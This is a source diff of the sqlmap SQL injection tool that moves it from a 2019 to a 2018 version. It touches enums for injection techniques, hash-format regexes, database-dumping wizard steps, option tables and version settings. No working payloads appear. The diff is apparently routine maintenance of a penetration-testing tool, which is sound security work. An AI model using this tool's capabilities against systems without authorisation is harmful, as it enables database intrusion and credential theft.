SOAP = "SOAP"
|
||||
JSON = "JSON"
|
||||
JSON_LIKE = "JSON-like"
|
||||
@@ -89,7 +87,7 @@ class POST_HINT(object):
|
||||
XML = "XML (generic)"
|
||||
ARRAY_LIKE = "Array-like"
|
||||
|
||||
class HTTPMETHOD(object):
|
||||
class HTTPMETHOD:
|
||||
GET = "GET"
|
||||
POST = "POST"
|
||||
HEAD = "HEAD"
|
||||
@@ -100,28 +98,28 @@ class HTTPMETHOD(object):
|
||||
CONNECT = "CONNECT"
|
||||
PATCH = "PATCH"
|
||||
|
||||
class NULLCONNECTION(object):
|
||||
class NULLCONNECTION:
|
||||
HEAD = "HEAD"
|
||||
RANGE = "Range"
|
||||
SKIP_READ = "skip-read"
|
||||
|
||||
class REFLECTIVE_COUNTER(object):
|
||||
class REFLECTIVE_COUNTER:
|
||||
MISS = "MISS"
|
||||
HIT = "HIT"
|
||||
|
||||
class CHARSET_TYPE(object):
|
||||
class CHARSET_TYPE:
|
||||
BINARY = 1
|
||||
DIGITS = 2
|
||||
HEXADECIMAL = 3
|
||||
ALPHA = 4
|
||||
ALPHANUM = 5
|
||||
|
||||
class HEURISTIC_TEST(object):
|
||||
class HEURISTIC_TEST:
|
||||
CASTED = 1
|
||||
NEGATIVE = 2
|
||||
POSITIVE = 3
|
||||
|
||||
class HASH(object):
|
||||
class HASH:
|
||||
MYSQL = r'(?i)\A\*[0-9a-f]{40}\Z'
|
||||
MYSQL_OLD = r'(?i)\A(?![0-9]+\Z)[0-9a-f]{16}\Z'
|
||||
POSTGRES = r'(?i)\Amd5[0-9a-f]{32}\Z'
|
||||
@@ -155,36 +153,32 @@ class HASH(object):
|
||||
SHA512_BASE64 = r'\A[a-zA-Z0-9+/]{86}==\Z'
|
||||
|
||||
# Reference: http://www.zytrax.com/tech/web/mobile_ids.html
|
||||
class MOBILES(object):
|
||||
BLACKBERRY = ("BlackBerry Z10", "Mozilla/5.0 (BB10; Kbd) AppleWebKit/537.35+ (KHTML, like Gecko) Version/10.3.3.2205 Mobile Safari/537.35+")
|
||||
GALAXY = ("Samsung Galaxy S7", "Mozilla/5.0 (Linux; Android 7.0; SM-G930V Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36")
|
||||
class MOBILES:
|
||||
BLACKBERRY = ("BlackBerry 9900", "Mozilla/5.0 (BlackBerry; U; BlackBerry 9900; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.346 Mobile Safari/534.11+")
|
||||
GALAXY = ("Samsung Galaxy S", "Mozilla/5.0 (Linux; U; Android 2.2; en-US; SGH-T959D Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1")
|
||||
HP = ("HP iPAQ 6365", "Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; HP iPAQ h6300)")
|
||||
HTC = ("HTC 10", "Mozilla/5.0 (Linux; Android 8.0.0; HTC 10 Build/OPR1.170623.027) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Mobile Safari/537.36")
|
||||
HUAWEI = ("Huawei P8", "Mozilla/5.0 (Linux; Android 4.4.4; HUAWEI H891L Build/HuaweiH891L) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36")
|
||||
IPHONE = ("Apple iPhone 8", "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1")
|
||||
LUMIA = ("Microsoft Lumia 950", "Mozilla/5.0 (Windows Phone 10.0; Android 6.0.1; Microsoft; Lumia 950) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Mobile Safari/537.36 Edge/15.14977")
|
||||
HTC = ("HTC Sensation", "Mozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30")
|
||||
IPHONE = ("Apple iPhone 4s", "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B179 Safari/7534.48.3")
|
||||
NEXUS = ("Google Nexus 7", "Mozilla/5.0 (Linux; Android 4.1.1; Nexus 7 Build/JRO03D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari/535.19")
|
||||
NOKIA = ("Nokia N97", "Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/10.0.012; Profile/MIDP-2.1 Configuration/CLDC-1.1; en-us) AppleWebKit/525 (KHTML, like Gecko) WicKed/7.1.12344")
|
||||
PIXEL = ("Google Pixel", "Mozilla/5.0 (Linux; Android 8.0.0; Pixel Build/OPR3.170623.013) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36")
|
||||
XIAOMI = ("Xiaomi Mi 3", "Mozilla/5.0 (Linux; U; Android 4.4.4; en-gb; MI 3W Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/39.0.0.0 Mobile Safari/537.36 XiaoMi/MiuiBrowser/2.1.1")
|
||||
|
||||
class PROXY_TYPE(object):
|
||||
class PROXY_TYPE:
|
||||
HTTP = "HTTP"
|
||||
HTTPS = "HTTPS"
|
||||
SOCKS4 = "SOCKS4"
|
||||
SOCKS5 = "SOCKS5"
|
||||
|
||||
class REGISTRY_OPERATION(object):
|
||||
class REGISTRY_OPERATION:
|
||||
READ = "read"
|
||||
ADD = "add"
|
||||
DELETE = "delete"
|
||||
|
||||
class DUMP_FORMAT(object):
|
||||
class DUMP_FORMAT:
|
||||
CSV = "CSV"
|
||||
HTML = "HTML"
|
||||
SQLITE = "SQLITE"
|
||||
|
||||
class HTTP_HEADER(object):
|
||||
class HTTP_HEADER:
|
||||
ACCEPT = "Accept"
|
||||
ACCEPT_CHARSET = "Accept-Charset"
|
||||
ACCEPT_ENCODING = "Accept-Encoding"
|
||||
@@ -217,21 +211,20 @@ class HTTP_HEADER(object):
|
||||
X_POWERED_BY = "X-Powered-By"
|
||||
X_DATA_ORIGIN = "X-Data-Origin"
|
||||
|
||||
class EXPECTED(object):
|
||||
class EXPECTED:
|
||||
BOOL = "bool"
|
||||
INT = "int"
|
||||
|
||||
class OPTION_TYPE(object):
|
||||
class OPTION_TYPE:
|
||||
BOOLEAN = "boolean"
|
||||
INTEGER = "integer"
|
||||
FLOAT = "float"
|
||||
STRING = "string"
|
||||
|
||||
class HASHDB_KEYS(object):
|
||||
class HASHDB_KEYS:
|
||||
DBMS = "DBMS"
|
||||
DBMS_FORK = "DBMS_FORK"
|
||||
CHECK_WAF_RESULT = "CHECK_WAF_RESULT"
|
||||
CHECK_NULL_CONNECTION_RESULT = "CHECK_NULL_CONNECTION_RESULT"
|
||||
CONF_TMP_PATH = "CONF_TMP_PATH"
|
||||
KB_ABS_FILE_PATHS = "KB_ABS_FILE_PATHS"
|
||||
KB_BRUTE_COLUMNS = "KB_BRUTE_COLUMNS"
|
||||
@@ -243,17 +236,17 @@ class HASHDB_KEYS(object):
|
||||
KB_XP_CMDSHELL_AVAILABLE = "KB_XP_CMDSHELL_AVAILABLE"
|
||||
OS = "OS"
|
||||
|
||||
class REDIRECTION(object):
|
||||
class REDIRECTION:
|
||||
YES = "Y"
|
||||
NO = "N"
|
||||
|
||||
class PAYLOAD(object):
|
||||
class PAYLOAD:
|
||||
SQLINJECTION = {
|
||||
1: "boolean-based blind",
|
||||
2: "error-based",
|
||||
3: "inline query",
|
||||
4: "stacked queries",
|
||||
5: "time-based blind",
|
||||
5: "AND/OR time-based blind",
|
||||
6: "UNION query",
|
||||
}
|
||||
|
||||
@@ -286,13 +279,13 @@ class PAYLOAD(object):
|
||||
9: "Pre-WHERE (non-query)",
|
||||
}
|
||||
|
||||
class METHOD(object):
|
||||
class METHOD:
|
||||
COMPARISON = "comparison"
|
||||
GREP = "grep"
|
||||
TIME = "time"
|
||||
UNION = "union"
|
||||
|
||||
class TECHNIQUE(object):
|
||||
class TECHNIQUE:
|
||||
BOOLEAN = 1
|
||||
ERROR = 2
|
||||
QUERY = 3
|
||||
@@ -300,28 +293,28 @@ class PAYLOAD(object):
|
||||
TIME = 5
|
||||
UNION = 6
|
||||
|
||||
class WHERE(object):
|
||||
class WHERE:
|
||||
ORIGINAL = 1
|
||||
NEGATIVE = 2
|
||||
REPLACE = 3
|
||||
|
||||
class WIZARD(object):
|
||||
class WIZARD:
|
||||
BASIC = ("getBanner", "getCurrentUser", "getCurrentDb", "isDba")
|
||||
INTERMEDIATE = ("getBanner", "getCurrentUser", "getCurrentDb", "isDba", "getUsers", "getDbs", "getTables", "getSchema", "excludeSysDbs")
|
||||
ALL = ("getBanner", "getCurrentUser", "getCurrentDb", "isDba", "getHostname", "getUsers", "getPasswordHashes", "getPrivileges", "getRoles", "dumpAll")
|
||||
|
||||
class ADJUST_TIME_DELAY(object):
|
||||
class ADJUST_TIME_DELAY:
|
||||
DISABLE = -1
|
||||
NO = 0
|
||||
YES = 1
|
||||
|
||||
class WEB_PLATFORM(object):
|
||||
class WEB_API:
|
||||
PHP = "php"
|
||||
ASP = "asp"
|
||||
ASPX = "aspx"
|
||||
JSP = "jsp"
|
||||
|
||||
class CONTENT_TYPE(object):
|
||||
class CONTENT_TYPE:
|
||||
TARGET = 0
|
||||
TECHNIQUES = 1
|
||||
DBMS_FINGERPRINT = 2
|
||||
@@ -348,28 +341,27 @@ class CONTENT_TYPE(object):
|
||||
FILE_WRITE = 23
|
||||
OS_CMD = 24
|
||||
REG_READ = 25
|
||||
STATEMENTS = 26
|
||||
|
||||
class CONTENT_STATUS(object):
|
||||
class CONTENT_STATUS:
|
||||
IN_PROGRESS = 0
|
||||
COMPLETE = 1
|
||||
|
||||
class AUTH_TYPE(object):
|
||||
class AUTH_TYPE:
|
||||
BASIC = "basic"
|
||||
DIGEST = "digest"
|
||||
NTLM = "ntlm"
|
||||
PKI = "pki"
|
||||
|
||||
class AUTOCOMPLETE_TYPE(object):
|
||||
class AUTOCOMPLETE_TYPE:
|
||||
SQL = 0
|
||||
OS = 1
|
||||
SQLMAP = 2
|
||||
API = 3
|
||||
|
||||
class NOTE(object):
|
||||
class NOTE:
|
||||
FALSE_POSITIVE_OR_UNEXPLOITABLE = "false positive or unexploitable"
|
||||
|
||||
class MKSTEMP_PREFIX(object):
|
||||
class MKSTEMP_PREFIX:
|
||||
HASHES = "sqlmaphashes-"
|
||||
CRAWLER = "sqlmapcrawler-"
|
||||
IPC = "sqlmapipc-"
|
||||
@@ -379,13 +371,8 @@ class MKSTEMP_PREFIX(object):
|
||||
COOKIE_JAR = "sqlmapcookiejar-"
|
||||
BIG_ARRAY = "sqlmapbigarray-"
|
||||
SPECIFIC_RESPONSE = "sqlmapresponse-"
|
||||
PREPROCESS = "sqlmappreprocess-"
|
||||
|
||||
class TIMEOUT_STATE(object):
|
||||
class TIMEOUT_STATE:
|
||||
NORMAL = 0
|
||||
EXCEPTION = 1
|
||||
TIMEOUT = 2
|
||||
|
||||
class HINT(object):
|
||||
PREPEND = 0
|
||||
APPEND = 1
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
@@ -61,7 +61,6 @@ optDict = {
|
||||
"csrfToken": "string",
|
||||
"csrfUrl": "string",
|
||||
"forceSSL": "boolean",
|
||||
"chunked": "boolean",
|
||||
"hpp": "boolean",
|
||||
"evalCode": "string",
|
||||
},
|
||||
@@ -79,7 +78,6 @@ optDict = {
|
||||
"skip": "string",
|
||||
"skipStatic": "boolean",
|
||||
"paramExclude": "string",
|
||||
"paramFilter": "string",
|
||||
"dbms": "string",
|
||||
"dbmsCred": "string",
|
||||
"os": "string",
|
||||
@@ -139,7 +137,6 @@ optDict = {
|
||||
"dumpAll": "boolean",
|
||||
"search": "boolean",
|
||||
"getComments": "boolean",
|
||||
"getStatements": "boolean",
|
||||
"db": "string",
|
||||
"tbl": "string",
|
||||
"col": "string",
|
||||
@@ -152,7 +149,7 @@ optDict = {
|
||||
"limitStop": "integer",
|
||||
"firstChar": "integer",
|
||||
"lastChar": "integer",
|
||||
"sqlQuery": "string",
|
||||
"query": "string",
|
||||
"sqlShell": "boolean",
|
||||
"sqlFile": "string",
|
||||
},
|
||||
@@ -195,6 +192,7 @@ optDict = {
|
||||
},
|
||||
|
||||
"General": {
|
||||
# "xmlFile": "string",
|
||||
"trafficFile": "string",
|
||||
"batch": "boolean",
|
||||
"binaryFields": "string",
|
||||
@@ -213,8 +211,6 @@ optDict = {
|
||||
"hexConvert": "boolean",
|
||||
"outputDir": "string",
|
||||
"parseErrors": "boolean",
|
||||
"preprocess": "string",
|
||||
"repair": "boolean",
|
||||
"saveConfig": "string",
|
||||
"scope": "string",
|
||||
"testFilter": "string",
|
||||
@@ -230,6 +226,7 @@ optDict = {
|
||||
"dependencies": "boolean",
|
||||
"disableColoring": "boolean",
|
||||
"googlePage": "integer",
|
||||
"identifyWaf": "boolean",
|
||||
"listTampers": "boolean",
|
||||
"mobile": "boolean",
|
||||
"offline": "boolean",
|
||||
|
||||
@@ -1,36 +1,14 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import codecs
|
||||
import httplib
|
||||
|
||||
import lib.controller.checks
|
||||
import lib.core.common
|
||||
import lib.core.threads
|
||||
import lib.core.convert
|
||||
import lib.core.option
|
||||
import lib.request.connect
|
||||
import lib.utils.search
|
||||
import lib.utils.sqlalchemy
|
||||
import thirdparty.ansistrm.ansistrm
|
||||
import thirdparty.chardet.universaldetector
|
||||
|
||||
from lib.request.templates import getPageTemplate
|
||||
|
||||
from lib.core.common import filterNone
|
||||
from lib.core.common import getSafeExString
|
||||
from lib.core.common import isListLike
|
||||
from lib.core.common import singleTimeWarnMessage
|
||||
from lib.core.common import readInput
|
||||
from lib.core.common import shellExec
|
||||
from lib.core.convert import stdoutEncode
|
||||
from lib.core.option import _setHTTPHandlers
|
||||
from lib.core.option import setVerbosity
|
||||
from lib.core.settings import IS_WIN
|
||||
from thirdparty.six.moves import http_client as _http_client
|
||||
|
||||
def dirtyPatches():
|
||||
"""
|
||||
@@ -38,7 +16,7 @@ def dirtyPatches():
|
||||
"""
|
||||
|
||||
# accept overly long result lines (e.g. SQLi results in HTTP header responses)
|
||||
_http_client._MAXLINE = 1 * 1024 * 1024
|
||||
httplib._MAXLINE = 1 * 1024 * 1024
|
||||
|
||||
# add support for inet_pton() on Windows OS
|
||||
if IS_WIN:
|
||||
@@ -46,43 +24,3 @@ def dirtyPatches():
|
||||
|
||||
# Reference: https://github.com/nodejs/node/issues/12786#issuecomment-298652440
|
||||
codecs.register(lambda name: codecs.lookup("utf-8") if name == "cp65001" else None)
|
||||
|
||||
# Reference: http://bugs.python.org/issue17849
|
||||
if hasattr(_http_client, "LineAndFileWrapper"):
|
||||
def _(self, *args):
|
||||
return self._readline()
|
||||
|
||||
_http_client.LineAndFileWrapper._readline = _http_client.LineAndFileWrapper.readline
|
||||
_http_client.LineAndFileWrapper.readline = _
|
||||
|
||||
# to prevent too much "guessing" in case of binary data retrieval
|
||||
thirdparty.chardet.universaldetector.MINIMUM_THRESHOLD = 0.90
|
||||
|
||||
def resolveCrossReferences():
|
||||
"""
|
||||
Place for cross-reference resolution
|
||||
"""
|
||||
|
||||
lib.core.threads.readInput = readInput
|
||||
lib.core.common.getPageTemplate = getPageTemplate
|
||||
lib.core.convert.filterNone = filterNone
|
||||
lib.core.convert.isListLike = isListLike
|
||||
lib.core.convert.shellExec = shellExec
|
||||
lib.core.convert.singleTimeWarnMessage = singleTimeWarnMessage
|
||||
lib.core.option._pympTempLeakPatch = pympTempLeakPatch
|
||||
lib.request.connect.setHTTPHandlers = _setHTTPHandlers
|
||||
lib.utils.search.setHTTPHandlers = _setHTTPHandlers
|
||||
lib.controller.checks.setVerbosity = setVerbosity
|
||||
lib.utils.sqlalchemy.getSafeExString = getSafeExString
|
||||
thirdparty.ansistrm.ansistrm.stdoutEncode = stdoutEncode
|
||||
|
||||
def pympTempLeakPatch(tempDir):
|
||||
"""
|
||||
Patch for "pymp" leaking directories inside Python3
|
||||
"""
|
||||
|
||||
try:
|
||||
import multiprocessing.util
|
||||
multiprocessing.util.get_temp_dir = lambda: tempDir
|
||||
except:
|
||||
pass
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
@@ -9,7 +9,7 @@ import codecs
|
||||
import os
|
||||
import cProfile
|
||||
|
||||
from lib.core.common import getSafeExString
|
||||
from lib.core.common import getUnicode
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import paths
|
||||
from lib.core.settings import UNICODE_ENCODING
|
||||
@@ -25,8 +25,8 @@ def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None):
|
||||
from thirdparty.xdot import xdot
|
||||
import gtk
|
||||
import pydot
|
||||
except ImportError as ex:
|
||||
errMsg = "profiling requires third-party libraries ('%s') " % getSafeExString(ex)
|
||||
except ImportError, e:
|
||||
errMsg = "profiling requires third-party libraries ('%s') " % getUnicode(e, UNICODE_ENCODING)
|
||||
errMsg += "(Hint: 'sudo apt-get install python-pydot python-pyparsing python-profiler graphviz')"
|
||||
logger.error(errMsg)
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
@@ -35,7 +35,7 @@ if IS_WIN and _readline:
|
||||
# Thanks to Boyd Waters for this patch.
|
||||
uses_libedit = False
|
||||
|
||||
if PLATFORM == "mac" and _readline:
|
||||
if PLATFORM == 'mac' and _readline:
|
||||
import commands
|
||||
|
||||
(status, result) = commands.getstatusoutput("otool -L %s | grep libedit" % _readline.__file__)
|
||||
@@ -56,7 +56,9 @@ if PLATFORM == "mac" and _readline:
|
||||
# http://mail.python.org/pipermail/python-dev/2003-August/037845.html
|
||||
# has the original discussion.
|
||||
if _readline:
|
||||
if not hasattr(_readline, "clear_history"):
|
||||
try:
|
||||
_readline.clear_history()
|
||||
except AttributeError:
|
||||
def clear_history():
|
||||
pass
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
@@ -27,12 +27,12 @@ class Replication(object):
|
||||
self.connection = sqlite3.connect(dbpath)
|
||||
self.connection.isolation_level = None
|
||||
self.cursor = self.connection.cursor()
|
||||
except sqlite3.OperationalError as ex:
|
||||
except sqlite3.OperationalError, ex:
|
||||
errMsg = "error occurred while opening a replication "
|
||||
errMsg += "file '%s' ('%s')" % (self.filepath, getSafeExString(ex))
|
||||
raise SqlmapConnectionException(errMsg)
|
||||
|
||||
class DataType(object):
|
||||
class DataType:
|
||||
"""
|
||||
Using this class we define auxiliary objects
|
||||
used for representing sqlite data types.
|
||||
@@ -47,7 +47,7 @@ class Replication(object):
|
||||
def __repr__(self):
|
||||
return "<DataType: %s>" % self
|
||||
|
||||
class Table(object):
|
||||
class Table:
|
||||
"""
|
||||
This class defines methods used to manipulate table objects.
|
||||
"""
|
||||
@@ -63,7 +63,7 @@ class Replication(object):
|
||||
self.execute('CREATE TABLE "%s" (%s)' % (self.name, ','.join('"%s" %s' % (unsafeSQLIdentificatorNaming(colname), coltype) for colname, coltype in self.columns)))
|
||||
else:
|
||||
self.execute('CREATE TABLE "%s" (%s)' % (self.name, ','.join('"%s"' % unsafeSQLIdentificatorNaming(colname) for colname in self.columns)))
|
||||
except Exception as ex:
|
||||
except Exception, ex:
|
||||
errMsg = "problem occurred ('%s') while initializing the sqlite database " % getSafeExString(ex, UNICODE_ENCODING)
|
||||
errMsg += "located at '%s'" % self.parent.dbpath
|
||||
raise SqlmapGenericException(errMsg)
|
||||
@@ -79,10 +79,10 @@ class Replication(object):
|
||||
errMsg = "wrong number of columns used in replicating insert"
|
||||
raise SqlmapValueException(errMsg)
|
||||
|
||||
def execute(self, sql, parameters=None):
|
||||
def execute(self, sql, parameters=[]):
|
||||
try:
|
||||
self.parent.cursor.execute(sql, parameters or [])
|
||||
except sqlite3.OperationalError as ex:
|
||||
self.parent.cursor.execute(sql, parameters)
|
||||
except sqlite3.OperationalError, ex:
|
||||
errMsg = "problem occurred ('%s') while accessing sqlite database " % getSafeExString(ex, UNICODE_ENCODING)
|
||||
errMsg += "located at '%s'. Please make sure that " % self.parent.dbpath
|
||||
errMsg += "it's not used by some other program"
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
@@ -9,15 +9,9 @@ import os
|
||||
import re
|
||||
import subprocess
|
||||
|
||||
from lib.core.common import openFile
|
||||
from lib.core.convert import getText
|
||||
|
||||
def getRevisionNumber():
|
||||
"""
|
||||
Returns abbreviated commit hash number as retrieved with "git rev-parse --short HEAD"
|
||||
|
||||
>>> len(getRevisionNumber() or (' ' * 7)) == 7
|
||||
True
|
||||
"""
|
||||
|
||||
retVal = None
|
||||
@@ -37,7 +31,7 @@ def getRevisionNumber():
|
||||
|
||||
while True:
|
||||
if filePath and os.path.isfile(filePath):
|
||||
with openFile(filePath, "r") as f:
|
||||
with open(filePath, "r") as f:
|
||||
content = f.read()
|
||||
filePath = None
|
||||
if content.startswith("ref: "):
|
||||
@@ -50,12 +44,9 @@ def getRevisionNumber():
|
||||
break
|
||||
|
||||
if not retVal:
|
||||
try:
|
||||
process = subprocess.Popen("git rev-parse --verify HEAD", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
stdout, _ = process.communicate()
|
||||
match = re.search(r"(?i)[0-9a-f]{32}", getText(stdout or ""))
|
||||
retVal = match.group(0) if match else None
|
||||
except:
|
||||
pass
|
||||
process = subprocess.Popen("git rev-parse --verify HEAD", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
stdout, _ = process.communicate()
|
||||
match = re.search(r"(?i)[0-9a-f]{32}", stdout or "")
|
||||
retVal = match.group(0) if match else None
|
||||
|
||||
return retVal[:7] if retVal else None
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
@@ -1,30 +1,30 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import codecs
|
||||
import os
|
||||
import random
|
||||
import re
|
||||
import subprocess
|
||||
import string
|
||||
import sys
|
||||
import types
|
||||
|
||||
from lib.core.datatype import AttribDict
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.enums import DBMS_DIRECTORY_NAME
|
||||
from lib.core.enums import OS
|
||||
from thirdparty.six import unichr as _unichr
|
||||
|
||||
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
||||
VERSION = "1.3.6.0"
|
||||
VERSION = "1.2.10.0"
|
||||
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
||||
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
||||
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
||||
DESCRIPTION = "automatic SQL injection and database takeover tool"
|
||||
SITE = "http://sqlmap.org"
|
||||
DEFAULT_USER_AGENT = "%s (%s)" % (VERSION_STRING, SITE)
|
||||
DEV_EMAIL_ADDRESS = "dev@sqlmap.org"
|
||||
ISSUES_PAGE = "https://github.com/sqlmapproject/sqlmap/issues/new"
|
||||
GIT_REPOSITORY = "https://github.com/sqlmapproject/sqlmap.git"
|
||||
@@ -38,7 +38,7 @@ BANNER = """\033[01;33m\
|
||||
___ ___[.]_____ ___ ___ \033[01;37m{\033[01;%dm%s\033[01;37m}\033[01;33m
|
||||
|_ -| . [.] | .'| . |
|
||||
|___|_ [.]_|_|_|__,| _|
|
||||
|_|V... |_| \033[0m\033[4;37m%s\033[0m\n
|
||||
|_|V |_| \033[0m\033[4;37m%s\033[0m\n
|
||||
""" % (TYPE_COLORS.get(TYPE, 31), VERSION_STRING.split('/')[-1], SITE)
|
||||
|
||||
# Minimum distance of ratio from kb.matchRatio to result in True
|
||||
@@ -66,13 +66,11 @@ ASTERISK_MARKER = "__ASTERISK_MARK__"
|
||||
REPLACEMENT_MARKER = "__REPLACEMENT_MARK__"
|
||||
BOUNDED_INJECTION_MARKER = "__BOUNDED_INJECTION_MARK__"
|
||||
SAFE_VARIABLE_MARKER = "__SAFE__"
|
||||
SAFE_HEX_MARKER = "__SAFE_HEX__"
|
||||
|
||||
RANDOM_INTEGER_MARKER = "[RANDINT]"
|
||||
RANDOM_STRING_MARKER = "[RANDSTR]"
|
||||
SLEEP_TIME_MARKER = "[SLEEPTIME]"
|
||||
INFERENCE_MARKER = "[INFERENCE]"
|
||||
SINGLE_QUOTE_MARKER = "[SINGLE_QUOTE]"
|
||||
|
||||
PAYLOAD_DELIMITER = "__PAYLOAD_DELIMITER__"
|
||||
CHAR_INFERENCE_MARK = "%c"
|
||||
@@ -100,10 +98,7 @@ MAX_CONSECUTIVE_CONNECTION_ERRORS = 15
|
||||
PRECONNECT_CANDIDATE_TIMEOUT = 10
|
||||
|
||||
# Servers known to cause issue with pre-connection mechanism (because of lack of multi-threaded support)
|
||||
PRECONNECT_INCOMPATIBLE_SERVERS = ("SimpleHTTP", "BaseHTTP")
|
||||
|
||||
# Identify WAF/IPS inside limited number of responses (Note: for optimization purposes)
|
||||
IDENTYWAF_PARSE_LIMIT = 10
|
||||
PRECONNECT_INCOMPATIBLE_SERVERS = ("SimpleHTTP",)
|
||||
|
||||
# Maximum sleep time in "Murphy" (testing) mode
|
||||
MAX_MURPHY_SLEEP_TIME = 3
|
||||
@@ -112,7 +107,7 @@ MAX_MURPHY_SLEEP_TIME = 3
|
||||
GOOGLE_REGEX = r"webcache\.googleusercontent\.com/search\?q=cache:[^:]+:([^+]+)\+&cd=|url\?\w+=((?![^>]+webcache\.googleusercontent\.com)http[^>]+)&(sa=U|rct=j)"
|
||||
|
||||
# Regular expression used for extracting results from DuckDuckGo search
|
||||
DUCKDUCKGO_REGEX = r'<a class="result__url" href="(htt[^"]+)'
|
||||
DUCKDUCKGO_REGEX = r'"u":"([^"]+)'
|
||||
|
||||
# Regular expression used for extracting results from Bing search
|
||||
BING_REGEX = r'<h2><a href="([^"]+)" h='
|
||||
@@ -169,9 +164,6 @@ MAX_TECHNIQUES_PER_VALUE = 2
|
||||
# In case of missing piece of partial union dump, buffered array must be flushed after certain size
|
||||
MAX_BUFFERED_PARTIAL_UNION_LENGTH = 1024
|
||||
|
||||
# Maximum size of cache used in @cachedmethod decorator
|
||||
MAX_CACHE_ITEMS = 256
|
||||
|
||||
# Suffix used for naming meta databases in DBMS(es) without explicit database name
|
||||
METADB_SUFFIX = "_masterdb"
|
||||
|
||||
@@ -181,14 +173,11 @@ PUSH_VALUE_EXCEPTION_RETRY_COUNT = 3
|
||||
# Minimum time response set needed for time-comparison based on standard deviation
|
||||
MIN_TIME_RESPONSES = 30
|
||||
|
||||
